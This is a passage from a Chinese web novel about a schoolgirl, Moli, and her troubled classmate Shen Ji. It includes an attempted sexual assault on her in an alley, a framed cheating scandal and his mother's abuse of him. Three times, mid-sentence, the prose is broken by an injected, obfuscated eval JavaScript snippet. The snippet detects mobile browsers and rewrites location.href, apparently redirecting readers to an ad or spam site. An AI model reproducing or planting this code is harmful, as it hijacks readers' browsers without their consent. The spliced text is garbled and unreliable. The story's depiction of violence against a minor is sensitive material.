距离太近,黄毛身上刺鼻的烟草味令人不适,茉莉下意识地回退,却被黄毛控制住:“干嘛,不给面儿?”他抬头,“给她控制住,沈悸迟早来。” “你丫别耍混,沈悸不来怎么办?” “包的,我现在可是知道他学校在隔壁,那贱种要面子肯定来。”黄毛咬着牙,骂了一声,“娘的,还真以为他是沈家的种,没想到就是个婊子做手段的私生子,老子跟他身边那么久,毛钱没搞到还天天被堵。” 那混混嘁了一声:“哎呦,他妈欠那么多钱还跟他玩,不说还真以为你们是什么过命交情。” “谁跟他过命交情。”黄毛看着茉莉,“还不如这个小妞跟他熟,上回说带出来玩玩还发毛。” 茉莉心下一凉,意识到不妙,她立马摇头:“不,我跟他不熟……唔!” 嘴被捂住,黄毛笑声刺耳,他揪着歪歪斜斜的茉莉,头转向了一边,“录像,拍照都行,发给沈悸。” 随着一声咔擦声,那拍照的人把手机摆正,“这样行么?” 黄毛瞧了一眼,啧啧道:“不太行。” “要哪样?” “是道上的吗,拍照都不会?”他捏着茉莉的脸左右打量,眼里透着奸.淫,“长得不丑,皮肤也挺白的。” 他松开了茉莉,退到一边拿了那人的手机。 “不想看看吗?”他歪着嘴,“扒了吧,我来拍照……啊!” 趁着他们交谈的间隙,茉莉一口咬在黄毛的手上。 黄毛惨叫着抽出手,桎梏消失,茉莉抓住机会冲了出去。 黄毛甩着手,眦目欲裂:“妈的,敢咬老子!老子今天就要你这婊子好看!” 身后步步紧逼,杂乱的脚步声刺激着紧绷的弦。 然后。 从左边的巷道里传来短促的脚步声,离的越来越近。 透过一道雷,她与那人视线交汇。 那人的脸色陡然一变,迅速明白情形,把手里的棍子往后一扔。 “跑——!”他大吼一声,一把把茉莉推到反方向。 后方冲出的黄毛没设防,被棍子重重砸在脑袋。 茉莉不敢停歇,头也不回地往里跑。 她踢翻装空酒瓶的纸箱子,推翻一个又一个垃圾堆,拐着数不清的路口,仓皇往深处逃窜。 疯狂寻找着出口,又一遍一遍失望。 臭巷里没有路标,越往深处越没有人烟,到处都是残破的老房子。没有路灯,大雨瓢泼,冷风如泣如诉地掠过。 又黑又冷。 看不清路,也不知方向。 身上挎着的成了负重,又忘了扔。 她跑到了死路上。 身后,是逐渐赶来的脚步声和难以入耳的粗话。 簌—— 有人抓住了她的肩。 她猛地一颤,手里的伞用力捅了出去。 反抗毫无威慑,伞被一把抽走。 腹部被人踹了一脚,她踉踉跄跄地砸进污水里。 “让你跑!” 黄毛没有要放过她的意思,狠狠地踩踏她的腹部,酸水反上喉咙,刺激地一口吐了出来。 “靠。” 又是一脚踹了上来,黄毛拽着她的头发,一巴掌扇了过去。 耳朵发着尖锐的刺响,视线也模糊不清,只能感觉到,那冰的刺骨的雨水一滴一滴淋进躯体。 “跑,就你喜欢跑是吧。”黄毛扼住她的脸,面露狰狞,“老子就在这办了你!再录下来,明天就发到你学校里!” 黄毛的手伸向了茉莉湿透的校服。 校服完全沾在身上,少女青涩的曲线被包裹出来,有种说不出来的曼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15183563|165404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妙感。 哗啦—— 校服的拉链被拉开,湿漉漉的手指探向了衣服下摆。 ! 她疯狂地挣扎,徒劳无力地拍打黄毛,嘴里不停大喊:“住手!住手!住手!” 她不要! 她不要! 她不要! “闭嘴!” 又是一掌,牙齿咬到了舌头,疼痛让她清楚的感觉到身上的变化。 感官偏偏是这时候最敏感。 她绝望地看着天,又绝望地闭了眼。 单薄脆弱的布料被粗鲁地扯开,她拼命拢着肩,试图守住最后的底线。 又是因为沈悸。 又是因为他被欺负。 只要跟他牵扯上就会变得不幸。 已经不清楚流在脸上的是泪还是雨,或许泪早已经流干了。 在最后的防线崩塌之时,她听到了一声玻璃碎裂的声音。 成了半截的玻璃瓶掉落在脚边,连带着面前的人也缓缓倒下。 被雨水冲刷的瞳孔上移,沈悸站在身前,全身湿透,脸上多了一道红痕。 他就站着,□□,肩膀一起一伏,冷黑的眸子眨也不眨地看。 第一次相遇的雨夜与此刻重叠。 雨伞依旧躺在积水里,他依旧狼狈不堪。 或许是缓过来了些,他伸手说:“起来。” 没得到回应,他把茉莉拽了起来,把伞捡起撑开,塞到了她的手里。 他把包拿走,没站在矮小的伞下,淋着雨把少女的外套拉好,走到身前说:“跟紧我。” 沈悸走在前面,听着身后细小的脚步声急急缓缓。 他迎合着放慢脚步,尽量让茉莉跟紧。 沉默着走到路口,他停在光影交接处,垂眸说:“你走吧,以后我不会再纠缠你了。” 那印着花的伞一点也不明媚,阴霾之下显得蔫蔫的。 他看不见伞面下的情绪,也听不到回答。 “对不起。”到底还是没有忍住,他还是低了头。 那句迟来的道歉被念的很慢很长。 像是怕雨声打扰,怕她听不见。 他转身,却感觉到衣服被人拉扯。 发间感受不到凉的雨点,只听到打在伞面上的滴滴答答。潮湿的睫毛晕染了路口昏黄的灯,让他怔愕地看成了太阳。 雨滴顺着弧度往下滴,恰巧落在了少女红润的嘴上。 “给你。”她的眼睛湿漉漉的,透过雨滴折射的光影看着沈悸。 “虽然我知道,你不是因为我而来。”她发凉的指尖还触着他的指腹,“我还是想要谢谢你。” 他以为,她会跑掉。 会再一次留他在伸手不见五指的黑里。 会再一次害怕那张苦心经营的面具碎裂。 潮湿汹涌的视线在斜斜的雨幕中变得失焦,那充满水汽相望的寂寂一瞬,让闷不透风的心房漏了一瓦,掉了一拍。 好像这一眼望不到尽的雨夜眷顾了他。 短暂地,让他捡到了一丝什么。 残留着余温的伞把进了手心,另一个满身狼狈的人看着他,眼里没有同情怜悯。 只是淡淡的,静静的,把自己仅有的半分遮蔽和温暖,分给了他。 他想推却回去,但少女眼露倔强,一声不吭地离开,不给他一丝机会。 于是他撑着伞站在原处,看着那被大雨浇的模糊不清的身影离开视线。 他终于想起要回去,却听见一声不合时宜的甜腻声音。 “咦——这不是沈悸吗?” 何婧站在不远处,娇俏的脸上挂着笑意。 “原来,你不是沈家的少爷啊。”她兴致缺缺地叹息,深色的眸子里透着不明的晦暗。 雨势仍在肆虐,没有要停的意思。 沈悸冷眼看着何婧,握着雨伞的关节泛白。 “本来只想教训一下那女的,结果半路被人堵了,耽误了点时间。”何婧笑的合不拢嘴,涂满唇膏的嘴亮晶晶的,“那是你喊的人吧,可惜,那些喽啰一点钱就可以打发走。” 她满眼都是嘲意:“江复春是你妈啊,那不是周围知名的婊子吗。” “闭嘴。别以为我不打女人。”沈悸脸色难看,可何婧丝毫不惧,反而挑衅似的扬眉。 “好凶啊。”何婧佯作害怕地抱抱自己,而后讥诮地抬手,亮出了自己的手机屏幕,“那看是你快,还是我发消息的速度快咯?” 屏幕的亮度不大,沈悸却看清了那晃晃的界面。 是学校群。 似乎这一夜,用光了他所有的运气。 11. 巴掌 虽然回家时把应急措施都做了一遍,但茉莉还是挨不住感冒了。 她吸溜着鼻子,反反复复地看着体温计,水银超出38的刻度,成了高烧。 她咬牙加了一件衣服,顶着头疼要上学,却还是被茉双季看出来不对,被迫留在了家里。 她没忘了近在眼前的月考,缩在被窝里支撑着复习,被茉双季又唠叨了几句,最后把门锁上才清静了些。 把课本全都看了一遍,茉莉伸手摸索着书包。 书包一斜掉在地板上,里面的书和笔记掉了出来。 有一本对折了很多页的题册大开,上面都是红笔的圈圈画画。 是沈悸留给她复习的题册。 她伸手拿起,一页一页地翻,一遍一遍地看。 窗外还在淅淅沥沥下着小雨,天是光照不透的灰。 不知不觉,时间来到了傍晚,茉双季还没回家。 她摸摸额头,还有些烫,肚子发空,得起来搞点吃的。 开灯走到客厅,茉莉看见茉双季忘记扔的垃圾,摇头叹着父亲的忘性大,披着外套打开门打算去扔垃圾。 脚不经意踢到了什么,低头,是一个塑料袋。 打开袋子,里面有药、一杯奶茶和一些零食。 奶茶还热着,袋子上没有任何雨滴,显然被人保护的很好。 余光中有一道黑影迅速闪过,她多看了一眼,却什么都没看清。 捅开奶茶喝了一口,甜甜的,很好喝。 她从来没喝过。 却感觉头疼都治愈了很多。 - 茉莉回到学校时,刚巧是月考当天。 那天的早上,她照常从臭巷那条路上学,在臭巷的巷口等了许久,等到手里的包子从热转凉,她都没看到等待的人。 她悻悻离开,重新买了份早餐。 因为摸底考试糟糕,茉莉被安排到了末位的考场。进入考场前,她特地绕路留意了下第一考场,生怕沈悸又被找麻烦错过考试。 她一眼就看到了沈悸,偏偏看到后座的何婧巧笑嫣然地喊他,错位看去,两个人就像贴在了一起。 “让开,你挡路了。”她还在发愣,身后有人语气不善的让她走开。 回头,是宋长乐。 她侧身让开位置,诺诺地道歉:“抱歉。” 宋长乐瞥了一眼考场,又瞥了眼茉莉,说:“怎么,还对那家伙不死心?” 茉莉啊了一声,这才想起之前因为害怕所以经常观察沈悸,导致宋长乐和于辉都以为她暗恋沈悸。她连连否决:“不是,我没有喜欢他。” “那最好。”她顿了顿,“你不在那几日,沈悸天天跟在何婧身边上下学,现在全班都默认他们的关系了。” 丢完话,她走进了考场。 茉莉睁大了眼睛。 吊起的心忽的松落,摔得太狠,甚至有些发痛。 她不知道为什么会痛,痛的莫名,痛的发怵。 雨夜的经历回闪在脑海,那过分凑巧的出现时机,她突然想到,沈悸是怎么知道自己在那的。 是黄毛来找的,是何婧把自己引过去的,丝丝缕缕都跟沈悸有关。 她感到一阵恶寒,又觉得一阵好笑。 构造一场英雄救美来继续圆扁自己吗,他真把自己当成傻子。 似乎先前那少有的温柔也成了玩弄自己一种表现,或许他在人后还在嘲笑自己的蠢。 她抑着濒临崩溃的情绪,逃一般地跑开。 不该期待的,她怎么会期待。 月考顺利结束,运动会紧跟着来了。 运动会当天十分热闹,热闹到所有人都忘了班上少了一人。 茉莉看着前方空空的座位,心也空落落的。 班主任说,关心因为生了慢性病所以要休学养病。 可一种莫名的感觉总让她觉得不对。 为了欢迎外面来的领导,学校大搞特搞,喊着宣扬民族文化的口号,为所有班级都准备了服饰和节目表,剩下靠抓阄分配。 茉莉班级抓到的是汉服。汉服是均码统一批发的,质量不佳,线头很多,还有些不合身,但那时根本触碰不到这样的服饰,她还是满心欢喜地在洗手间的镜子前看了很久,喜欢的打紧。 操场上彩旗飘扬,各年级穿着特色服饰站在方队内,神采奕奕地迎接开幕式的最后一场才艺彩排。 才艺彩排与茉莉这等人士无关,只用在场边等待就好, 表演被分配到的是诵读,而身为语文课代表的何婧自然就成了领读。 何婧化了妆,唇红齿白,头发松松绾起,温婉俏丽,字正腔圆地诵读着古诗,光鲜亮丽地站在所有人的瞩目下。 茉莉扯着过长的衣摆,站在人堆里冒不出头顶。 人墙分隔出两地,成了他们的差距。 此时伴奏到了高潮,一道男声响起,一袭白衣的沈悸徐徐从走上台,与何婧配合,承上启下。 她挪开视线,转而看下。 人模狗样。 光斑透过树叶的缝隙打在身上,点缀素白的衣摆。 她发了一阵子的呆,一直到彩排结束才回过神来。 接下来便是运动员准备赛程,班上基本走空,余下的便是跟茉莉一样的志愿者。她左右看了看,屈指可数,只有六位,参加才艺表演的不强制参加任何一项,可以去操场边观赛。 志愿者的任务不比运动员轻松,需要负责各种杂物的搬运,还得学习简单的包扎,以防运动员负伤。 开始,她被分配到彩旗队举旗,又因为她是志愿者,看管班旗的任务也落在了她的身上。 她怀里抱着旗,站在志愿者队伍里学习简单的包扎以防意外。 匆匆忙忙学了一些,中途又出了岔子,志愿者人数不够,茉莉被点名去了搬水大队。 偏偏这时又要方队彩排,必须把班旗送回去,茉莉进退两难,哪边都火烧眉毛。 正犹豫时,她看见了拐角的沈悸,还有何婧。 他依旧穿着那身汉服,衣袂翩翩。 对上那一汪如幽水的黑眸,茉莉的心头跳了一跳。 她做不到毫无涟漪,只能率先撤走目光。试探地询问:“可以不可以帮我把班旗拿回班级?” 何婧抱臂看了一眼,勾唇说:“好啊。”她扬扬下巴,示意沈悸去接。 沈悸默不作声地接过,茉莉点点头跑远。 到了校门处,一箱又一箱的水高高叠起,十分扎眼。 她人小力气也不大,搬半箱都吭哧吭哧的,来回搬了两次左右,别班的一个男生看不下去,接过她手里的箱子说:“你去问问老师有没有别的事情要办吧。” “谢谢。”她累的满脸通红,擦擦汗就又跑去接活。 到老师那问时,该搬的东西都已经搬完,可以到操场上准备排练方队了。 茉莉又抓紧时间跑回班级,拿了自己的彩旗。她没找到班旗,以为班旗已经被沈悸和何婧拿到了操场上,便直接来到操场。 “报告老师,归队。” 她气喘吁吁地跑到队伍边打报告,可她没等到归队的答复,而是听到老师的一顿劈头盖脸:“你怎么搞的,让你看管班旗你人去哪里了?班旗呢?” “班旗?”茉莉呆了呆,“我让何婧和沈悸带回来了啊?” 老师气得不行:“你意思是我让他们去找你,结果他们带着旗子跑了?” 她没听懂,转头去看队伍,何婧站在队 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15183564|165404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 首,无辜地看着她,“老师,我刚没找到茉莉。” 而沈悸不在。 “老师——”沈悸的声音插了进来,他从后走来,拿着旗子,面色沉重。 那是班旗。 他展开班旗,班旗破破烂烂,甚至旗杆都断了,不能用了。 茉莉的心也随着展开的旗子烂掉了。 全班人的注视都定焦在旗子和她身上,烧的灼人。 耳边是老师的责骂,可她什么都听不见,泛红的眼睛死死盯着沈悸。 满是心碎和委屈。 她抬腿走到沈悸身边。 啪—— 扬手,她用力地,重重地,扇了一巴掌回去。 沈悸愣了,周围的人也愣了,时间仿佛在一瞬凝滞。 他们从未见过茉莉如此失态的模样。 她面无表情,平静的过分,甚至看不出她在生气,只感到冷若寒冰。 她说:“仓库应该还有备用的,画一个一模一样的图标应该很轻松,这样还能显得班级突出。” 说完,她抱着旗子走向仓库, 刚走进教学楼里,身后便传来急促的脚步声。 她刚要让路,那人便握着她的肩膀顺势将她摁在了墙上。 “……你什么意思?”是沈悸。他似乎气得不轻,脸色阴沉如霾,额角青筋暴起,连带着周围的空气都压抑下来。 她嫌烦,瞪了一眼:“想打回来?” 肩上的力气愈发的重,几乎要捏碎她的骨头,“你觉得是我做的?” “难道不是?”她觉得好笑,“和你谈什么信任?” “茉——莉!”他把字眼嚼的极重,布满血丝的眼睛狠狠抓着她的瞳。 “不要喊我的名字!”茉莉反手揪住他的衣领。 “跟踪我,威胁我,让人欺凌我,让我差点丢了清白。 “你以为一点小恩小惠就能收买我,就能让我对你改观吗?我告诉你,不可能。” “闭嘴!” 茉莉根本不搭理他,话语越发尖锐:“这就受不了了?你也就不过如此。” “你留给我的耻辱,比这要难堪数倍。” “我不会原谅你的。” 积攒的所有怨气、委屈、怒火倾泻而出,排山倒海地吞噬理智。 她差点就要信了。 信他还有一丝良知和温柔,信他真的不会纠缠自己。 明明还把自己当成玩具;明明从未对她有过尊重;明明还在跟人狼狈为奸等着看她的笑话。 到头来,愚笨的还是自己。 她一口气说了好多刺耳的话,说到最后连胸脯都剧烈起伏。 反应过来时,她感到一阵轻松,索性闭上了眼。 她以为,沈悸那么记仇的人,绝对不会放过她的。 等了很久,对方都毫无反应。 只感觉到钳制的手失力,放松,落下。 睁开眼,她看到了一张苍白难言的脸。 他的神情微微恍惚,把唇抿的泛白,随后,他勾出了一丝很淡的嘲意:“原来你那么讨厌我……” 嗓音染上了哑,无力,还发着颤。 好似有什么碎掉了一般,怎么也拼凑不起来。 他以为的补救,成了双倍插向自己的刀子。 一切都是自我曲折。 他踉跄地退了两步,把路让了出来。 “快滚。”他藏着自己的溃败,加重了语气,努力变得像以往那样的倨傲,“别让我逮到你。” 茉莉看不穿他的沮丧,利落地离开。 最好是两条平行线,不要再有纠缠。她想。 明明是这样想的,脚步却变得沉重。 像是什么作了祟。 12. 轮转 一直到那天结束,沈悸都没再找过她了。 三天的运动会结束后,便是为时七天的国庆假期。 茉莉记得,偏偏在那个云淡风轻的天,意外发生了。 她跟着大队回到班里等着老师布置作业,外面却炸起一阵吵闹,惹得她也提起了好奇往外看。 走到走廊上,她看见了舆论的中心。 两张熟悉的脸,沈悸和何婧,还有不常见的教导主任。 再听周围的议论声—— 沈悸想偷换何婧的答题卡作弊,被当场抓包。 茉莉站在边缘,静静地看着不远处的沈悸。 边上的人窃窃私语,字眼又无比清晰地进入茉莉的耳里。 “长得不错,怎么做的事那么脏啊?” “他是你们班的吧,据说他最近一直在旷课,听人说他经常在臭巷出入,不会之前入学考也是这样投机取巧?” “还有这种事?” “难道他跟何婧关系好就是为了作弊?” “喂,你们说够了没!”有人出了声,制止了那群女生的叽叽喳喳。 那群人噤声,看了看说话的于辉,其中一女生没好气的小声说:“事真多。” 但议论是止不住的,闭了耳边的话,那边又会响起。 茉莉和于辉对上了眼。 于辉轻轻摇了摇头,走进了教室。 他能做的仅仅是那么一些。 教导主任呵斥了一声,看戏的人散去了些许,但茉莉依旧在原处驻足。 只有她一人清楚,沈悸是不会作弊的。 她没说,也没人在意真相。 她的善意早已被沈悸消磨殆尽,怎么也修补不回来。 明明今天是有阳光的,倒是那光怎么也照不亮狭窄的走廊,照不清少年的侧脸。 他的头始终低着,任凭教导主任在他身上指指点点,分明高大的身形却在此时单薄到摇摇欲坠。 他一言不发地接受了全部的苛责和处罚,被撤职,全校通报,开学还要挂一周公告板。 茉莉记得深刻,他直接背包早退,回避那些流言蜚语。 作为值日生,茉莉是最后一位离开的。 她捏着铁锁要锁门,余光却瞥见一摞无人认领的作业本。 她的动作滞了一瞬,锁上了门。 直到走到公告板前,沈悸作弊的字样蹦入眼帘,她的心头还是软了一软,回到教室把作业本放进了包。 她觉得自己好像疯了,竟然敢在放学后偷溜进老师办公室,还是为了那个沈悸。 快速把沈悸家的地址抄写在纸条上,她的心脏砰砰直跳,是种做坏事的亏心感。 只是作为同学最后的情面而已。她说服自己迈入臭巷,顺着地址往里找,最后停在了一个破小的屋子前。 她反复确认了下,地址上所写的的确在这,但显然,这里并不能住人,沈悸给的是假地址。 茉莉叹气,把纸条团成一团扔了。罢了,她才不想多管闲事。 只是走到那三岔路口时,她听到几声摔砸的声音,铁盆嗡鸣的声音震耳欲聋,刺的茉莉捂住了耳朵。 她皱紧眉头,露了个眼睛往里面看。 又是一个铁盆砸了出来,只是铁盆像是砸到人了一样发出闷响,最后盖在地上。 “皮痒了还是翅膀硬了,老娘叫你去干事居然敢拒绝了?啊?”伴随着不堪入耳的骂声,被墙挡住的那边还在乱砸些什么。 虽然担心,但她不能管别人的家事,只能避开走掉。 刚要离开,那墙后撒泼的女子露了面,手握着酒瓶狰狞地朝另一面的人砸去。 ! 茉莉下意识躲了起来。 脑海里浮现出了那个女人的模样,和沈悸母亲的脸合二为一。 她握紧了书包肩带,悄悄趴在墙边。 一墙之隔的那边,少年生生抗下,一声痛叫都没有。 酒瓶成了碎片堆在脚边,他的嘴角红肿,脸上未消下的红肿又被碎片划伤,汩汩流血,他没有低头,平静地看着那个宛如疯子的女人。 他单薄的衣服被撕破,露出了藏匿在长袖下的胳膊。 茉莉这才知道他为什么始终穿着长袖。 那露出的胳膊伤痕累累,扭曲的增生一条又一条蜿蜒在胳膊上,触目惊心,几乎没有一处是好的。 “说了老娘回来的时候必须有酒钱,钱呢!你去上那个破学有什么用!”江复春抓到什么就扔什么,丝毫不顾淋漓的鲜血,也看不出任何一点作为母亲的温和。 他就像被暴雨摧残的一株野草,倔强地挺着,枝叶却残败不堪。 茉莉不想再看下去了。 她背过身去,紧紧贴着墙面,心脏像被什么紧紧拧着,喘不上气,也说不上来为什么难受。 她小心打开拉链,尽量不发出任何声音地把作业放在墙角,然后蹑手蹑脚地离开。 他要面子,这是茉莉唯一能给出的体面和尊重。 她跟沈悸不一样,没有要别人跟着自己一起狼狈的恶劣。 他和她,是处在两个永远无法共情的世界里。 国庆七天,茉莉早早就制定了计划表,前三天先把作业写完,后面就跟着茉双季一起去镇上拉货。 恰好在第四天,茉双季接到了宋长乐家的委托,帮忙给她家进货。 茉莉搬着零食箱在小卖部前踌躇,想着用什么样的表情和话来面对宋长乐。 犹豫了好久,茉双季都搬两趟货了,她还没进去。 宋长乐在柜台里看着茉莉磨了半天都没进来,笔往桌上一拍,朝门外喊道:“要进就进,搞得跟做贼一样,怎么,店里有鬼啊。” 茉莉一怵,讷讷地走进了小卖部,“那个,这是一箱点心面。” “搬上来,我要清点。” 茉莉把箱子放到台上,站在一边扯着衣角。 宋长乐拿着笔一个一个清点,看到茉莉拘谨的模样,又皱了眉:“你就这样看着?” 意识到自己干站着确实不礼貌,茉莉立马捏着点心面开始数。 一箱子见了底,茉莉说:“我这二十三包。” “嗯,对了,一共五十包。”宋长乐在本子上划了一道,随手抓了一把点心面推了过去,“酬劳。” 没接,宋长乐没好气地抬头,正对上茉莉湿润的眼。 她的脾气一下子浇了,抿抿嘴说:“嫌少?” “没有……”茉莉揉揉眼,把点心面揣在口袋,“很高兴还能跟你说话。” “感谢就吃了,别放在家供着。”宋长乐依旧嘴不饶人,心里还是软软的,“别哭出来,我才不想哄你这个受了委屈又不把朋友当朋友的人。” 她从来没生气茉莉说的那通话,而是在意为什么受了委屈而不愿意相信自己。 是她主动结交的茉莉,她真的很想跟她做朋友。 宋长乐说:“记得还有于辉,他也很担心你。” “好。” 长久的心结解开,茉莉高兴地弯了眼,打开点心面小口小口吃着。 好开心,真的好开心。 茉莉觉得,整个国庆都圆满了。 国庆七天结束,到了月考成绩公布的时候。 这次努力有了回报,茉莉月考成绩优秀,考到了中上游的位置,老师点名表扬,也将她的位置移到了靠前的地方。 前桌变成了宋长乐,她开心的眼泪差点掉下来,握着宋长乐的手打死不放。 她和于辉道了歉,三人又恢复成了朋友,一切都在往好的方向发展。 只是,另一人就不同了。 作弊的事情还是影响到了沈悸,他成了学校里议论的对象,走到哪里都能听到窸窸窣窣的闲言碎语,甚至连之前关系尚可的同学也都远离了他。 不再有人簇拥着他,他成了孤身一人。 他不再社交,旷课的次数变多,在学校几乎碰不着面。 似乎报应成了真,风水轮流转,沈悸戴了许久的面具终于碎了。 想法成了真,他们真的成了两条平行线,不再相交。 这样就很好了。 茉莉垂眸,压在手下的题册却不时被风吹开,书页不停作响,扰乱她的思绪。 “喂。”一本书拍在茉莉的脑门上,吓了她一跳。宋长乐蹙眉,一手托着下巴说,“明天周末,去不去哪里玩?” 明天是周末,晚自习时,班上人都在急不可待地议论去哪玩。 “哦……周末了。”茉莉拍拍胸脯顺气,有些为难道,“不太有空啊,我得跟爸爸去镇上搬货,他最近忙的很,我想多帮点忙。” “好吧,那算了。”知道茉莉孝顺,宋长乐只能作罢。 茉莉也觉得可惜,但父亲年纪大了,腰背也变得不好,家里没有其他人,她只能放弃玩耍的时间帮助父亲。 周六,茉莉早早起床为茉双季做早餐。 茉双季是闻着米粥的香味醒来的,看到女儿辛勤的模样,他感慨又心疼:“不多睡会吗,平时都醒那么早。” “不用,爸爸天天那么辛苦都没说话,我又哪能说累。”茉莉捧着碗放到桌上,“快快,咱们抓紧吃抓紧上阵,这样就能早点回来休息了。” “哈哈,好。” 吃完早饭,茉莉就跟着父亲的车一起去往洑水镇,路上还得接一些工友一块。 跟着父亲搬货的时光,是茉莉最难忘的。 她喜欢坐在后车厢里看风景,不时跟工友们聊聊天,还能躺着把车篷掀起来看星星,有时土路一颠一颠的,像摇摇车一样舒服。 摇着摇着,她还是没捺住睡着了。 醒来时,车已经到了目的地,甚至茉双季已经在下边帮忙运货了。 她不开心地站在茉双季前面,撅嘴说:“怎么不喊我?” “这不是看你太累了。”茉双季擦擦汗,接着另一边来的货,“这活粗,小女孩家家就别做了,去车边看着车,别让人偷了。” 今天运的是一批汽修厂的零件,运到城里头去,那零件有的沾了油污,显然是茉双季不想让自己沾了脏,于是给撵去看车。 她偷偷在边上找了个看起来小点的零件试着搬,红着脖子刚抬起,没一会就落了地。 太重了,她搬不动,只能听话在车边看着。 等待搬货的时间很久,无聊到只能踢脚边的石子。 石子踢够了,她坐上了车厢,开始看天上的云,街上的人和路上的车。 她看向了路对面的厂子——那挤着许多人。 这一条路都是汽修相关的店和畅,而路对面的是附近最大的厂子,每天都有许多人来应聘短工。 洑水县的路本来就窄,只有两条道,街边不仅有招工的人,还有许多违停的车,这导致路况十分拥挤,耳畔总能传来车主的叫骂和鸣笛。 她开始想象着大城市的马路,那里一定很宽阔,但一定没有这样的烟火气。 街对面依旧人头攒动,须臾间,茉莉看到了一个摔倒的身影。 她好奇地张望,又看到那人被两个汉子踹了两脚,双手护着头,模样凄惨。 看来是抢工被揍了。这念头治安还没那么好,经常会有人因为抢工导致打架。 两个汉子踹完了,又回到人群里继续应聘。 没人在意那人如何,只一昧地往前挤,甚至连回头看的人都没有。 所有人都只顾自己,人情冷暖就这样赤.裸地在茉莉眼前展演。 那人靠在路灯边,慢慢支着起身。 白色的衣服染满脏污,他毫不在意,两只手蹭了蹭衣服,又抹上两道黑。 那似乎是个少年,脸上全是灰黑,看不清长相。他沿着路往前,似乎仍不甘心,一家又一家地询问,通通遭到了拒绝。 茉莉看着他进了一家小卖部,没多久又出来,买了一瓶最便宜的矿泉水解渴,就又过了马路,往这边来问。 不知为何,这边的店面也都没要他,他走的很慢,走着走着,到了茉双季运货的那家厂。 他没看见躲在车厢里茉莉,径直走进去,问:“招工吗?” 润了水也很暗哑的声音。 厂里的人看了他一眼:“招,不过是苦工。” “行,有活就能干,搬多少都可以,钱少点也行。” “你看起来不大,好多岁?” 那人默了默,说:“十八。” “不像,身份证呢?” 那人又默了默,说:“丢了。” “不行啊,这片不要黑户,你走吧。”工头摇摇手从车后走了出来。 “我工钱很低的,考虑一下。”那人不依不饶,追上去说。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15183565|165404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “不行不行,老板知道要给我炒了,你走吧。” 那人站在了原地,没再纠缠,蹲在路边拧开水洗了把脸。 浑黑的水顺着骨节分明的手滑落,那人的面容才清晰了些。 逆着光的侧颜棱角分明,清秀的脸上还余有伤痕。 他抬头,正巧撞进一双清澈圆润的眼眸里。 他显然没想到能在这里看见她,一下子混乱起来,呆滞在了原处。 少女干干净净的地坐在车里,安安静静地看着。 而他又是一番落魄的模样,人见人嫌,衣服上还有两个脚印。 他想藏住窘迫,起身要走,身后的少女却喊住了他:“你要找短工吗?” 声音软软的,细细的,显然被养护的很好,跟他这样的烂种一点都不一样。 大脑成了一团,只剩下逃跑二字。沈悸觉得自己窝囊的没边。 他没理,背着往前,后边又传来话:“我家这缺人,粗活,要力气大。” 这次声音很大,边上路过的人都瞟了一眼。沈悸再想装无视也没法,他只能摁住脾气,急急走到了小车边。 “我是不是说过,逮到你就完蛋了?”他压着声音,双手搭在车篷上,像是威胁一样发狠,“别搞什么同情。” “你弄错了。我家确实缺人搬货。”茉莉危襟正坐,一点不把他的狠当回事,“那些工人跟我们不是一个村里的,有时候在村里卸货完还得给他们送回去,如果你来的话,我爸爸就可以少开一截了。而且不算短工,因为其他的活都有工人接,给他们的活计少了也会有意见的,顶多算是帮忙卸货。” 沈悸目光如炬,没说话。 茉莉扳着手指头:“但看在同学情面上,会给你计件结钱,并且包一餐,你自己看吧。” 这是个不容沈悸拒绝的条件。从已知的猜测,他没有身份证,之前还能找到黑工头,现在管制严密,他根本没有办法。 她没有同情。 要他屈尊降贵在讨厌的人下工作,或许也是一种报复的方式。 思考间,茉双季搬着东西走来。他看了看茉莉,又看了看沈悸,问:“这不是茉莉班上的班长吗,叫什么来着,怎么在这呀?” “沈悸。”沈悸回答,“想赚钱补贴家用,但是身份证丢了,好多人不要。” 茉双季说:“确实,现在都要身份证登记。” 茉莉重复了一遍刚才跟沈悸说的话给茉双季听,茉双季听后,没有拒绝,而是对沈悸说:“可以是可以,但只能周末来,平时学业为主,可以不?” 没得选,沈悸只能应了下来。 货都般得差不多了,茉双季清点着货,工友发现多了个新面孔,热情地招呼起来。 沈悸扯了扯嘴角当作回应敷衍了过去,其他工友发现热脸贴了冷屁股,都不再跟他讲话。 清点完,茉双季要沈悸坐到前排来。 沈悸看着自己的脏衣服,没坐车位,而是爬上了车厢,捡了个地坐在了茉莉的边上。 茉莉坐在板凳上,跟沈悸只有十厘之距。 她没多说话,始终别着头看外面。 到隔壁镇子的路程不长,不一会就到了。 沈悸率先下车,跟着茉双季卸货。 他手脚利索,力气很大,又不打岔,一次能搬好几个箱子,没多久车里的货就少了一半多。 